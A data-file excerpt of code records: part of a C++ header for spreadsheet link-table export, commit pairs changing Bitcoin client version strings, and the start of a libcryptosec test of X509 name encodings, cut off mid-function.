SC_XERECORD_HXX\n#include \"xerecord.hxx\"\n#endif\n\nclass ScRange;\nstruct SingleRefData;\n\n\n\/* ============================================================================\nClasses for export of different kinds of internal\/external references.\n- 3D cell and cell range links\n- External cell and cell range links\n- Internal and external defined names\n- Add-in functions\n- DDE links\n- OLE object links\n============================================================================ *\/\n\n\/\/ Excel sheet indexes ========================================================\n\ntypedef ::std::pair< sal_uInt16, sal_uInt16 >   XclExpRefLogEntry;\ntypedef ::std::vector< XclExpRefLogEntry >      XclExpRefLogVec;\n\n\/** Stores the correct Excel sheet index for each Calc sheet.\n    @descr  The class knows all sheets which will not exported\n    (i.e. external link sheets, scenario sheets). *\/\nclass XclExpTabInfo\n{\npublic:\n    \/** Initializes the complete buffer from the current exported document. *\/\n    explicit                    XclExpTabInfo( const XclExpRoot& rRoot );\n\n    \/** Returns true, if the specified Calc sheet will be exported. *\/\n    bool                        IsExportTab( SCTAB nScTab ) const;\n    \/** Returns true, if the specified Calc sheet is used to store external cell contents. *\/\n    bool                        IsExternalTab( SCTAB nScTab ) const;\n    \/** Returns true, if the specified Calc sheet is visible and will be exported. *\/\n    bool                        IsVisibleTab( SCTAB nScTab ) const;\n    \/** Returns true, if the specified Calc sheet is selected and will be exported. *\/\n    bool                        IsSelectedTab( SCTAB nScTab ) const;\n    \/** Returns true, if the specified Calc sheet is the active displayed sheet. *\/\n    bool                        IsActiveTab( SCTAB nScTab ) const;\n\n    \/** Returns the Excel sheet index for a given Calc sheet. *\/\n    sal_uInt16                  GetXclTab( SCTAB nScTab ) const;\n\n    \/** Returns the Calc sheet index of the nSortedTab-th entry in the sorted sheet names list. *\/\n    SCTAB                       GetRealScTab( sal_uInt16 nSortedTab ) const;\n    \/** Returns the index of the passed Calc sheet in the sorted sheet names list. *\/\n    sal_uInt16                  GetSortedScTab( SCTAB nScTab ) const;\n\n    \/** Returns the number of Calc sheets. *\/\n    inline SCTAB               GetScTabCount() const { return mnScCnt; }\n\n    \/** Returns the number of Excel sheets to be exported. *\/\n    inline sal_uInt16           GetXclTabCount() const { return mnXclCnt; }\n    \/** Returns the number of external linked sheets. *\/\n    inline sal_uInt16           GetXclExtTabCount() const { return mnXclExtCnt; }\n    \/** Returns the number of codepages (VBA modules). *\/\n    inline sal_uInt16           GetXclCodenameCount() const { return mnXclCodeCnt; }\n    \/** Returns the number of exported selected sheets. *\/\n    inline sal_uInt16           GetXclSelectedCount() const { return mnXclSelected; }\n\n    \/** Returns the Excel index of the active, displayed sheet. *\/\n    inline sal_uInt16           GetXclActiveTab() const { return mnXclActive; }\n    \/** Returns the Excel index of the first visible sheet. *\/\n    inline sal_uInt16           GetXclFirstVisTab() const { return mnXclFirstVis; }\n\n    \/\/ *** for change tracking ***\n\n    \/** Enables logging of Excel sheet indexes in each 3D-reference. *\/\n    void                        StartRefLog();\n    \/** Appends sheet index pair (called by formula compiler). *\/\n    void                        AppendTabRef( sal_uInt16 nXclFirst, sal_uInt16 nXclLast );\n    \/** Disables logging of Excel sheet indexes. *\/\n    const XclExpRefLogVec&      EndRefLog();\n\nprivate:\n    \/** Returns true, if any of the passed flags is set for the specified Calc sheet. *\/\n    bool                        GetFlag( SCTAB nScTab, sal_uInt8 nFlags ) const;\n    \/** Sets or clears (depending on bSet) all passed flags for the specified Calc sheet. *\/\n    void                        SetFlag( SCTAB nScTab, sal_uInt8 nFlags, bool bSet = true );\n\n    \/** Searches for sheets not to be exported. *\/\n    void                        CalcXclIndexes();\n    \/** Sorts the names of all tables and stores the indexes of the sorted indexes. *\/\n    void                        CalcSortedIndexes( ScDocument& rDoc );\n\nprivate:\n    typedef ::std::pair< sal_uInt16, sal_uInt8 >    ScTabInfoEntry;\n    typedef ::std::vector< ScTabInfoEntry >         ScTabInfoVec;\n\n    ScTabInfoVec                maTabInfoVec;       \/\/\/ Array of Calc sheet index information.\n\n    SCTAB                       mnScCnt;            \/\/\/ Count of Calc sheets.\n    sal_uInt16                  mnXclCnt;           \/\/\/ Count of Excel sheets to be exported.\n    sal_uInt16                  mnXclExtCnt;        \/\/\/ Count of external link sheets.\n    sal_uInt16                  mnXclCodeCnt;       \/\/\/ Count of codepages.\n    sal_uInt16                  mnXclSelected;      \/\/\/ Count of selected and exported sheets.\n    sal_uInt16                  mnXclActive;        \/\/\/ Active (selected) sheet.\n    sal_uInt16                  mnXclFirstVis;      \/\/\/ First visible sheet.\n\n    ScfUInt16Vec                maFromSortedVec;    \/\/\/ Sorted index -> real index.\n    ScfUInt16Vec                maToSortedVec;      \/\/\/ Real index -> sorted index.\n\n    XclExpRefLogVec             maRefLog;           \/\/\/ A log for each requested Excel sheet index.\n    bool                        mbEnableLog;        \/\/\/ true = log all sheet indexes (for formula compiler).\n};\n\n\n\/\/ Export link manager ========================================================\n\nclass XclExpLinkManager_Impl;\n\n\/** Stores all data for internal\/external references (the link table).\n    @descr  Contents in BIFF8:\n    - Record SUPBOOK: Contains the name of an external workbook and the names of its sheets.\n        This record is followed by EXTERNNAME, XCT and CRN records.\n    - Record XCT: Contains the sheet index of the following CRN records.\n    - Record CRN: Contains addresses (row and column) and values of external referenced cells.\n    - Record NAME: Contains defined names of the own workbook. This record follows the\n        EXTERNSHEET record.\n    - Record EXTERNNAME: Contains external defined names or DDE links or OLE object links.\n    - Record EXTERNSHEET: Contains indexes to URLs of external documents (SUPBOOKs)\n        and sheet indexes for each external reference used anywhere in the workbook.\n        This record follows a list of SUPBOOK records (it is the last record of the link table).\n*\/\nclass XclExpLinkManager : public XclExpRecordBase\n{\npublic:\n    explicit                    XclExpLinkManager( const XclExpRoot& rRoot );\n    virtual                     ~XclExpLinkManager();\n\n    \/** Searches for XTI structure with the given Excel sheet range. Adds new XTI if not found.\n        @return  The list index of the XTI structure. *\/\n    sal_uInt16                  FindXti( sal_uInt16 nXclFirst, sal_uInt16 nXclLast );\n\n    \/** Returns the external document URL of the specified Excel sheet. *\/\n    const XclExpString*         GetUrl( sal_uInt16 nXclTab ) const;\n    \/** Returns the external sheet name of the specified Excel sheet. *\/\n    const XclExpString*         GetTabName( sal_uInt16 nXclTab ) const;\n\n    \/** Stores the cell with the given address in a CRN record list. *\/\n    void                        StoreCell( const SingleRefData& rRef );\n    \/** Stores all cells in the given range in a CRN record list. *\/\n    void                        StoreCellRange( const SingleRefData& rRef1, const SingleRefData& rRef2 );\n\n    \/** Finds or inserts an EXTERNNAME record for an add-in function name.\n        @param rnXti  Returns the index of the XTI structure which contains the add-in function name.\n        @param rnExtName  Returns the 1-based EXTERNNAME record index. *\/\n    void                        InsertAddIn(\n                                    sal_uInt16& rnXti, sal_uInt16& rnExtName,\n                                    const String& rName );\n    \/** Finds or inserts an EXTERNNAME record for DDE links.\n        @param rnXti  Returns the index of the XTI structure which contains the DDE link.\n        @param rnExtName  Returns the 1-based EXTERNNAME record index. *\/\n    bool                        InsertDde(\n                                    sal_uInt16& rnXti, sal_uInt16& rnExtName,\n                                    const String& rApplic, const String& rTopic, const String& rItem );\n\n    \/** Writes the entire Link table. *\/\n    virtual void                Save( XclExpStream& rStrm );\n\nprivate:\n    typedef ::std::auto_ptr< XclExpLinkManager_Impl > XclExpLinkManager_ImplPtr;\n    XclExpLinkManager_ImplPtr   mpImpl;\n};\n\n\n\/\/ ============================================================================\n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n#include <string>\n\n#include \"version.h\"\n\n\/\/ Name of client reported in the 'version' message. Report the same name\n\/\/ for both bitcoind and bitcoin-qt, to make it harder for attackers to\n\/\/ target servers or GUI users specifically.\nconst std::string CLIENT_NAME(\"Satoshi\");\n\n\/\/ Client version number\n#define CLIENT_VERSION_SUFFIX   \"-beta\"\n\n\n\/\/ The following part of the code determines the CLIENT_BUILD variable.\n\/\/ Several mechanisms are used for this:\n\/\/ * first, if HAVE_BUILD_INFO is defined, include build.h, a file that is\n\/\/   generated by the build environment, possibly containing the output\n\/\/   of git-describe in a macro called BUILD_DESC\n\/\/ * secondly, if this is an exported version of the code, GIT_ARCHIVE will\n\/\/   be defined (automatically using the export-subst git attribute), and\n\/\/   GIT_COMMIT will contain the commit id.\n\/\/ * then, three options exist for determining CLIENT_BUILD:\n\/\/   * if BUILD_DESC is defined, use that literally (output of git-describe)\n\/\/   * if not, but GIT_COMMIT is defined, use v[maj].[min].[rev].[build]-g[commit]\n\/\/   * otherwise, use v[maj].[min].[rev].[build]-unk\n\/\/ finally CLIENT_VERSION_SUFFIX is added\n\n\/\/ First, include build.h if requested\n#ifdef HAVE_BUILD_INFO\n#    include \"build.h\"\n#endif\n\n\/\/ git will put \"#define GIT_ARCHIVE 1\" on the next line inside archives. $Format:%n#define GIT_ARCHIVE 1$\n#ifdef GIT_ARCHIVE\n#    define GIT_COMMIT_ID \"$Format:%h$\"\n#    define GIT_COMMIT_DATE \"$Format:%cD\"\n#endif\n\n#define BUILD_DESC_FROM_COMMIT(maj,min,rev,build,commit) \\\n    \"v\" DO_STRINGIZE(maj) \".\" DO_STRINGIZE(min) \".\" DO_STRINGIZE(rev) \".\" DO_STRINGIZE(build) \"-g\" commit\n\n#define BUILD_DESC_FROM_UNKNOWN(maj,min,rev,build) \\\n    \"v\" DO_STRINGIZE(maj) \".\" DO_STRINGIZE(min) \".\" DO_STRINGIZE(rev) \".\" DO_STRINGIZE(build) \"-unk\"\n\n#ifndef BUILD_DESC\n#    ifdef GIT_COMMIT_ID\n#        define BUILD_DESC BUILD_DESC_FROM_COMMIT(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD, GIT_COMMIT_ID)\n#    else\n#        define BUILD_DESC BUILD_DESC_FROM_UNKNOWN(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD)\n#    endif\n#endif\n\n#ifndef BUILD_DATE\n#    ifdef GIT_COMMIT_DATE\n#        define BUILD_DATE GIT_COMMIT_DATE\n#    else\n#        define BUILD_DATE __DATE__ \", \" __TIME__\n#    endif\n#endif\n\nconst std::string CLIENT_BUILD(BUILD_DESC CLIENT_VERSION_SUFFIX);\nconst std::string CLIENT_DATE(BUILD_DATE);\n<commit_msg>Fix build date for from-tarball builds<commit_after>\/\/ Copyright (c) 2012 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n#include <string>\n\n#include \"version.h\"\n\n\/\/ Name of client reported in the 'version' message. Report the same name\n\/\/ for both bitcoind and bitcoin-qt, to make it harder for attackers to\n\/\/ target servers or GUI users specifically.\nconst std::string CLIENT_NAME(\"Satoshi\");\n\n\/\/ Client version number\n#define CLIENT_VERSION_SUFFIX   \"-beta\"\n\n\n\/\/ The following part of the code determines the CLIENT_BUILD variable.\n\/\/ Several mechanisms are used for this:\n\/\/ * first, if HAVE_BUILD_INFO is defined, include build.h, a file that is\n\/\/   generated by the build environment, possibly containing the output\n\/\/   of git-describe in a macro called BUILD_DESC\n\/\/ * secondly, if this is an exported version of the code, GIT_ARCHIVE will\n\/\/   be defined (automatically using the export-subst git attribute), and\n\/\/   GIT_COMMIT will contain the commit id.\n\/\/ * then, three options exist for determining CLIENT_BUILD:\n\/\/   * if BUILD_DESC is defined, use that literally (output of git-describe)\n\/\/   * if not, but GIT_COMMIT is defined, use v[maj].[min].[rev].[build]-g[commit]\n\/\/   * otherwise, use v[maj].[min].[rev].[build]-unk\n\/\/ finally CLIENT_VERSION_SUFFIX is added\n\n\/\/ First, include build.h if requested\n#ifdef HAVE_BUILD_INFO\n#    include \"build.h\"\n#endif\n\n\/\/ git will put \"#define GIT_ARCHIVE 1\" on the next line inside archives. $Format:%n#define GIT_ARCHIVE 1$\n#ifdef GIT_ARCHIVE\n#    define GIT_COMMIT_ID \"$Format:%h$\"\n#    define GIT_COMMIT_DATE \"$Format:%cD$\"\n#endif\n\n#define BUILD_DESC_FROM_COMMIT(maj,min,rev,build,commit) \\\n    \"v\" DO_STRINGIZE(maj) \".\" DO_STRINGIZE(min) \".\" DO_STRINGIZE(rev) \".\" DO_STRINGIZE(build) \"-g\" commit\n\n#define BUILD_DESC_FROM_UNKNOWN(maj,min,rev,build) \\\n    \"v\" DO_STRINGIZE(maj) \".\" DO_STRINGIZE(min) \".\" DO_STRINGIZE(rev) \".\" DO_STRINGIZE(build) \"-unk\"\n\n#ifndef BUILD_DESC\n#    ifdef GIT_COMMIT_ID\n#        define BUILD_DESC BUILD_DESC_FROM_COMMIT(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD, GIT_COMMIT_ID)\n#    else\n#        define BUILD_DESC BUILD_DESC_FROM_UNKNOWN(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD)\n#    endif\n#endif\n\n#ifndef BUILD_DATE\n#    ifdef GIT_COMMIT_DATE\n#        define BUILD_DATE GIT_COMMIT_DATE\n#    else\n#        define BUILD_DATE __DATE__ \", \" __TIME__\n#    endif\n#endif\n\nconst std::string CLIENT_BUILD(BUILD_DESC CLIENT_VERSION_SUFFIX);\nconst std::string CLIENT_DATE(BUILD_DATE);\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"version.h\"\n\n#include <string>\n\n\/\/ Name of client reported in the 'version' message. Report the same name\n\/\/ for both bitcoind and bitcoin-qt, to make it harder for attackers to\n\/\/ target servers or GUI users specifically.\nconst std::string CLIENT_NAME(\"Satoshi\");\n\n\/\/ Client version number\n#define CLIENT_VERSION_SUFFIX   \"-beta\"\n\n\n\/\/ The following part of the code determines the CLIENT_BUILD variable.\n\/\/ Several mechanisms are used for this:\n\/\/ * first, if HAVE_BUILD_INFO is defined, include build.h, a file that is\n\/\/   generated by the build environment, possibly containing the output\n\/\/   of git-describe in a macro called BUILD_DESC\n\/\/ * secondly, if this is an exported version of the code, GIT_ARCHIVE will\n\/\/   be defined (automatically using the export-subst git attribute), and\n\/\/   GIT_COMMIT will contain the commit id.\n\/\/ * then, three options exist for determining CLIENT_BUILD:\n\/\/   * if BUILD_DESC is defined, use that literally (output of git-describe)\n\/\/   * if not, but GIT_COMMIT is defined, use v[maj].[min].[rev].[build]-g[commit]\n\/\/   * otherwise, use v[maj].[min].[rev].[build]-unk\n\/\/ finally CLIENT_VERSION_SUFFIX is added\n\n\/\/ First, include build.h if requested\n#ifdef HAVE_BUILD_INFO\n#    include \"build.h\"\n#endif\n\n\/\/ git will put \"#define GIT_ARCHIVE 1\" on the next line inside archives. $Format:%n#define GIT_ARCHIVE 1$\n#ifdef GIT_ARCHIVE\n#    define GIT_COMMIT_ID \"$Format:%h$\"\n#    define GIT_COMMIT_DATE \"$Format:%cD$\"\n#endif\n\n#define BUILD_DESC_WITH_SUFFIX(maj,min,rev,build,suffix) \\\n    \"v\" DO_STRINGIZE(maj) \".\" DO_STRINGIZE(min) \".\" DO_STRINGIZE(rev) \".\" DO_STRINGIZE(build) \"-\" DO_STRINGIZE(suffix)\n\n#define BUILD_DESC_FROM_COMMIT(maj,min,rev,build,commit) \\\n    \"v\" DO_STRINGIZE(maj) \".\" DO_STRINGIZE(min) \".\" DO_STRINGIZE(rev) \".\" DO_STRINGIZE(build) \"-g\" commit\n\n#define BUILD_DESC_FROM_UNKNOWN(maj,min,rev,build) \\\n    \"v\" DO_STRINGIZE(maj) \".\" DO_STRINGIZE(min) \".\" DO_STRINGIZE(rev) \".\" DO_STRINGIZE(build) \"-unk\"\n\n#ifndef BUILD_DESC\n#    ifdef BUILD_SUFFIX\n#        define BUILD_DESC BUILD_DESC_WITH_SUFFIX(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD, BUILD_SUFFIX)\n#    elif defined(GIT_COMMIT_ID)\n#        define BUILD_DESC BUILD_DESC_FROM_COMMIT(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD, GIT_COMMIT_ID)\n#    else\n#        define BUILD_DESC BUILD_DESC_FROM_UNKNOWN(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD)\n#    endif\n#endif\n\n#ifndef BUILD_DATE\n#    ifdef GIT_COMMIT_DATE\n#        define BUILD_DATE GIT_COMMIT_DATE\n#    else\n#        define BUILD_DATE __DATE__ \", \" __TIME__\n#    endif\n#endif\n\nconst std::string CLIENT_BUILD(BUILD_DESC CLIENT_VERSION_SUFFIX);\nconst std::string CLIENT_DATE(BUILD_DATE);\n<commit_msg>Remove -beta suffix<commit_after>\/\/ Copyright (c) 2012 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"version.h\"\n\n#include <string>\n\n\/\/ Name of client reported in the 'version' message. Report the same name\n\/\/ for both bitcoind and bitcoin-qt, to make it harder for attackers to\n\/\/ target servers or GUI users specifically.\nconst std::string CLIENT_NAME(\"Satoshi\");\n\n\/\/ Client version number\n#define CLIENT_VERSION_SUFFIX   \"\"\n\n\n\/\/ The following part of the code determines the CLIENT_BUILD variable.\n\/\/ Several mechanisms are used for this:\n\/\/ * first, if HAVE_BUILD_INFO is defined, include build.h, a file that is\n\/\/   generated by the build environment, possibly containing the output\n\/\/   of git-describe in a macro called BUILD_DESC\n\/\/ * secondly, if this is an exported version of the code, GIT_ARCHIVE will\n\/\/   be defined (automatically using the export-subst git attribute), and\n\/\/   GIT_COMMIT will contain the commit id.\n\/\/ * then, three options exist for determining CLIENT_BUILD:\n\/\/   * if BUILD_DESC is defined, use that literally (output of git-describe)\n\/\/   * if not, but GIT_COMMIT is defined, use v[maj].[min].[rev].[build]-g[commit]\n\/\/   * otherwise, use v[maj].[min].[rev].[build]-unk\n\/\/ finally CLIENT_VERSION_SUFFIX is added\n\n\/\/ First, include build.h if requested\n#ifdef HAVE_BUILD_INFO\n#    include \"build.h\"\n#endif\n\n\/\/ git will put \"#define GIT_ARCHIVE 1\" on the next line inside archives. $Format:%n#define GIT_ARCHIVE 1$\n#ifdef GIT_ARCHIVE\n#    define GIT_COMMIT_ID \"$Format:%h$\"\n#    define GIT_COMMIT_DATE \"$Format:%cD$\"\n#endif\n\n#define BUILD_DESC_WITH_SUFFIX(maj,min,rev,build,suffix) \\\n    \"v\" DO_STRINGIZE(maj) \".\" DO_STRINGIZE(min) \".\" DO_STRINGIZE(rev) \".\" DO_STRINGIZE(build) \"-\" DO_STRINGIZE(suffix)\n\n#define BUILD_DESC_FROM_COMMIT(maj,min,rev,build,commit) \\\n    \"v\" DO_STRINGIZE(maj) \".\" DO_STRINGIZE(min) \".\" DO_STRINGIZE(rev) \".\" DO_STRINGIZE(build) \"-g\" commit\n\n#define BUILD_DESC_FROM_UNKNOWN(maj,min,rev,build) \\\n    \"v\" DO_STRINGIZE(maj) \".\" DO_STRINGIZE(min) \".\" DO_STRINGIZE(rev) \".\" DO_STRINGIZE(build) \"-unk\"\n\n#ifndef BUILD_DESC\n#    ifdef BUILD_SUFFIX\n#        define BUILD_DESC BUILD_DESC_WITH_SUFFIX(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD, BUILD_SUFFIX)\n#    elif defined(GIT_COMMIT_ID)\n#        define BUILD_DESC BUILD_DESC_FROM_COMMIT(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD, GIT_COMMIT_ID)\n#    else\n#        define BUILD_DESC BUILD_DESC_FROM_UNKNOWN(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD)\n#    endif\n#endif\n\n#ifndef BUILD_DATE\n#    ifdef GIT_COMMIT_DATE\n#        define BUILD_DATE GIT_COMMIT_DATE\n#    else\n#        define BUILD_DATE __DATE__ \", \" __TIME__\n#    endif\n#endif\n\nconst std::string CLIENT_BUILD(BUILD_DESC CLIENT_VERSION_SUFFIX);\nconst std::string CLIENT_DATE(BUILD_DATE);\n<|endoftext|>"}
{"text":"<commit_before>#include <libcryptosec\/certificate\/CertificateBuilder.h>\n#include <fstream>\n#include \"gtest.h\"\n#include <iostream>\n\nclass EncodingTest : public ::testing::Test {\nprotected:\n    virtual void SetUp() {\n        cbuilder = new CertificateBuilder();\n        before = X509_NAME_new();\n        after = X509_NAME_new();\n    }\n\n    virtual void TearDown() {\n        delete cbuilder;\n        X509_NAME_free(before);\n        X509_NAME_free(after);\n    }\n\n    \/*!\n     * @brief Adiciona uma entrada de um X509_NAME com a codificação desejada.\n     *\n     * @param name Ponteiro para o X509_NAME.\n     * @param entry Entrada a ser adicionada.\n     * @param encoding Codificação desejada.\n     *\/\n    void insertEntry(X509_NAME* name, const char* entry, int encoding) {\n        if (entry == LN_countryName) {\n            X509_NAME_add_entry_by_txt(name, entry , V_ASN1_PRINTABLESTRING, (const unsigned char*)\"CO\", -1, -1, 0);\n        }\n        else {\n            X509_NAME_add_entry_by_txt(name, entry , encoding, (const unsigned char*)entry, -1, -1, 0);\n        }\n    }\n\n    \/*!\n     * @brief Adiciona as entradas DN de um X509_NAME com a codificação desejada.\n     *\n     * @param name Ponteiro para o X509_NAME.\n     * @param encoding Codificação desejada.\n     *\/\n    void fillEntries(X509_NAME* name, int encoding) {\n        insertEntry(name, LN_countryName, encoding);\n        insertEntry(name, LN_stateOrProvinceName, encoding);\n        insertEntry(name, LN_localityName, encoding);\n        insertEntry(name, LN_organizationName, encoding);\n        insertEntry(name, LN_organizationalUnitName, encoding);\n        insertEntry(name, LN_commonName, encoding);\n        insertEntry(name, LN_userId, encoding);\n    }\n\n    \/*!\n     * @brief Aplica um caso de teste com uma entrada preenchida com a codificação desejada e as restantes com a\n     *        codificação padrão da versão OpenSSL.\n     *\n     * @param entry Entrada\n     * @param encoding Codificação desejada.\n     *\n     * @return true se o caso de teste estiver correto, falso caso contrário.\n     *\/\n    bool applyOne(const char* entry, int encoding) {\n        \/\/ create certificate:\n        insertEntry(before, LN_commonName, encoding);    \/\/ common name é compulsório\n        if (entry != LN_commonName) {\n            insertEntry(before, entry, encoding);    \/\/ insere a entrada se não for common name\n        }\n        X509_set_subject_name(cbuilder->getX509(), X509_NAME_dup(before));\n\n        \/\/ fill entries and apply alterSubject:\n        fillEntries(before, MBSTRING_ASC);\n        RDNSequence rdn(X509_NAME_dup(before));\n        cbuilder->alterSubject(rdn);\n        after = X509_NAME_dup(X509_get_subject_name(cbuilder->getX509()));\n\n        return test();\n    }\n\n    \/*!\n     * @brief Aplica um caso de teste com todas as entradas preenchidas com a codificação desejada.\n     *\n     * @param encoding Codificação desejada.\n     *\n     * @return true se o caso de teste estiver correto, falso caso contrário.\n     *\/\n    bool applyAll(int encoding) {\n        \/\/ create certificate:\n        fillEntries(before, encoding);\n        X509_set_subject_name(cbuilder->getX509(), X509_NAME_dup(before));\n\n        \/\/ apply alterSubject:\n        RDNSequence rdn(X509_NAME_dup(before));\n        cbuilder->alterSubject(rdn);\n        after = X509_NAME_dup(X509_get_subject_name(cbuilder->getX509()));\n\n        return test();\n    }\n\n    \/*!\n     * @brief Testa se a codificação das entradas estão de acordo com o esperado.\n     *\n     * Testa se a codificação das entradas no certificado gerado estão de acordo com a primeira entrada commonName que é\n     * obrigatória na geração da requisição.\n     *\/\n    bool test() {\n        int encodingCommonName = X509_NAME_get_entry(before, 0)->value->type;\n        for (int i = 0; i < X509_NAME_entry_count(after); i++) {\n            int encodingAfter = X509_NAME_get_entry(after, i)->value->type;\n            if (encodingAfter != encodingCommonName) {\n                return false;\n            }\n        }\n        return true;\n    }\n\n    CertificateBuilder* cbuilder;  \/\/!< CertificateBuilder usado para aplicar a função testada.\n    X509_NAME* before;  \/\/!< Ponteiro para o X509_NAME antes de aplicar a função testada.\n    X509_NAME* after;  \/\/!< Ponteiro para o X509_NAME depois de aplicar a função testada.\n};\n\n\/*!\n * @brief Teste usando todas as entradas preenchidas com codificação MBSTRING_ASC.\n *\n * Simula a situação onde os campos são preenchidos na geração do certificado. Na versão utilizada do OpenSSL, essa\n * codificação é equivalente a V_ASN1_UTF8STRING.\n *\/\n TEST_F(EncodingTest, MBStringFilled) {\n     ASSERT_TRUE(applyAll(MBSTRING_ASC));\n }\n\n\n\/*!\n * @brief Teste usando todas as entradas preenchidas com codificação V_ASN1_PRINTABLESTRING.\n *\n * Simula a situação onde os campos são preenchidos na geração da requisição, devendo manter sua codificação no\n * certificado gerado.\n *\/\nTEST_F(EncodingTest, PrintableFilled) {\n    ASSERT_TRUE(applyAll(V_ASN1_PRINTABLESTRING));\n}\n\n\/*!\n * @brief Teste usando as entradas commonName e countryName preenchidas com codificação V_ASN1_PRINTABLESTRING e as\n *        restantes com codificação MBSTRING_ASC.\n *\n * Simula a situação onde os campos Common Name e Country Name são preenchidos na geração da requisição e os restantes\n * são adicionados na geração do certificado, devendo usar a codificação dos campos já exsitentes na requisição.\n *\/\nTEST_F(EncodingTest, PrintablecountryName) {\n    ASSERT_TRUE(applyOne(LN_countryName, V_ASN1_PRINTABLESTRING));\n}\n\n\/*!\n * @brief Teste usando as entradas commonName e stateOrProvinceName preenchidas com codificação V_ASN1_PRINTABLESTRING e\n *        as restantes com codificação MBSTRING_ASC.\n *\n * Simula a situação onde os campos Common Name e State or Province Name são preenchidos na geração da requisição e os\n * restantes são adicionados na geração do certificado, devendo usar a codificação dos campos já exsitentes na\n * requisição.\n *\/\nTEST_F(EncodingTest, PrintableState) {\n    ASSERT_TRUE(applyOne(LN_stateOrProvinceName, V_ASN1_PRINTABLESTRING));\n}\n\n\/*!\n * @brief Teste usando as entradas commonName e localityName preenchidas com codificação V_ASN1_PRINTABLESTRING e as\n *        restantes com codificação MBSTRING_ASC.\n *\n * Simula a situação onde os campos Common Name e Locality Name são preenchidos na geração da requisição e os restantes\n * são adicionados na geração do certificado, devendo usar a codificação dos campos já exsitentes na requisição.\n *\/\nTEST_F(EncodingTest, PrintableLocality) {\n    ASSERT_TRUE(applyOne(LN_localityName, V_ASN1_PRINTABLESTRING));\n}\n\n\/*!\n * @brief Teste usando as entradas commonName e organizationName preenchidas com codificação V_ASN1_PRINTABLESTRING e as\n *        restantes com codificação MBSTRING_ASC.\n *\n * Simula a situação onde os campos Common Name e Organization Name são preenchidos na geração da requisição e os\n * restantes são adicionados na geração do certificado, devendo usar a codificação dos campos já exsitentes na\n * requisição.\n *\/\nTEST_F(EncodingTest, PrintableOrganization) {\n    ASSERT_TRUE(applyOne(LN_organizationName, V_ASN1_PRINTABLESTRING));\n}\n\n\/*!\n * @brief Teste usando as entradas commonName e organizationalUnitName preenchidas com codificação\n *        V_ASN1_PRINTABLESTRING e as restantes com codificação MBSTRING_ASC.\n *\n * Simula a situação onde os campos Common Name e Organizational Unit Name são preenchidos na geração da requisição e os\n * restantes são adicionados na geração do certificado, devendo usar a codificação dos campos já exsitentes na\n * requisição.\n *\/\nTEST_F(EncodingTest, PrintableOrganizationalUnit) {\n    ASSERT_TRUE(applyOne(LN_organizationalUnitName, V_ASN1_PRINTABLESTRING));\n}\n\n\/*!\n * @brief Teste usando a entrada commonName preenchida com codificação V_ASN1_PRINTABLESTRING e asrestantes com\n *        codificação MBSTRING_ASC.\n *\n * Simula a situação onde apenas o campo Common Name é preenchido na geração da requisição e os restantes são\n * adicionados na geração do certificado, devendo usar a codificação dos campos já exsitentes na requisição.\n *\/\nTEST_F(EncodingTest, PrintableCommonName) {\n    ASSERT_TRUE(applyOne(LN_commonName, V_ASN1_PRINTABLESTRING));\n}\n\n\/*!\n * @brief Teste usando as entradas commonName e userId preenchidas com codificação V_ASN1_PRINTABLESTRING e as\n *        restantes com codificação MBSTRING_ASC.\n *\n * Simula a situação onde os campos Common Name e User ID são preenchidos na geração da requisição e os restantes são\n * adicionados na geração do certificado, devendo usar a codificação dos campos já exsitentes na requisição.\n *\/\nTEST_F(EncodingTest, PrintableUserID) {\n    ASSERT_TRUE(applyOne(LN_userId, V_ASN1_PRINTABLESTRING));\n}\n<commit_msg>Change tests to use a requisition<commit_after>#include <libcryptosec\/certificate\/CertificateBuilder.h>\n#include <fstream>\n#include \"gtest.h\"\n#include <iostream>\n#include <sstream>\n\nusing std::endl;\n\n\nclass EncodingTest : public ::testing::Test {\nprotected:\n    virtual void SetUp() {\n        cbuilder = new CertificateBuilder();\n        req = CertificateRequest();\n        before = X509_NAME_new();\n        after = X509_NAME_new();\n\n        initialization();\n    }\n\n    virtual void TearDown() {\n        delete cbuilder;\n        X509_NAME_free(before);\n        X509_NAME_free(after);\n    }\n\n    void initialization() {\n        entry_fields.insert(std::make_pair<int, const char*>(NID_countryName, LN_countryName));\n        entry_fields.insert(std::make_pair<int, const char*>(NID_stateOrProvinceName, LN_stateOrProvinceName));\n        entry_fields.insert(std::make_pair<int, const char*>(NID_localityName, LN_localityName));\n        entry_fields.insert(std::make_pair<int, const char*>(NID_organizationName, LN_organizationName));\n        entry_fields.insert(std::make_pair<int, const char*>(NID_organizationalUnitName, LN_organizationalUnitName));\n        